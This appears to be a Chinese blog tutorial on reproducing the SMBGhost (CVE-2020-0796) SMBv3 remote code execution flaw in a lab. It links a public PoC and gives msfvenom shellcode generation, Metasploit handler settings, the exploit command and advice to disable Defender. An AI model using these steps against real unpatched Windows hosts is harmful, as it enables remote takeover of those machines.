怎么解析CVE-2020-0796 RCE漏洞

這期內容當中小編將會給大家帶來有關怎么解析CVE-2020-0796 RCE漏洞，文章內容豐富且以專業的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

漏洞介紹

微軟SMBv3 Client/Server遠程代碼執行漏洞CVE-2020-0796

影響范圍：
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

復現坑點：坑點比較多看一下

EXP地址：

https://github.com/chompie1337/SMBGhost_RCE_PoC

• Win10 版本有限制，具體我自己用的下面這個成功的

下載地址

• python 版本

python 3.6 可以成功！

python 3.6 可以成功！

python 3.7 和 2 實測藍屏

不懂為啥，有大佬知道可以指導一下弟弟

• payload要正向監聽

• 補丁也有坑，KB4551762講道理是沒有，但是win10的補丁，看見就那幾個，但是那個補丁里面可能有包含這個補丁

• 需要關閉defender防火墻

復現過程

首先使用systeminfo看一下補丁（KB4551762）

我新裝的，肯定沒啥問題，

• msf生成木馬

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

EXP替換shellcode

把buf 替換成USER_PAYLOAD

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 192.168.31.235
run

運行EXP

python3 exploit.py -ip 192.168.100.54

最終拿到shell

上述就是小編為大家分享的怎么解析CVE-2020-0796 RCE漏洞了，如果剛好有類似的疑惑，不妨參照上述分析進行理解。如果想知道更多相關知識，歡迎關注億速云行業資訊頻道。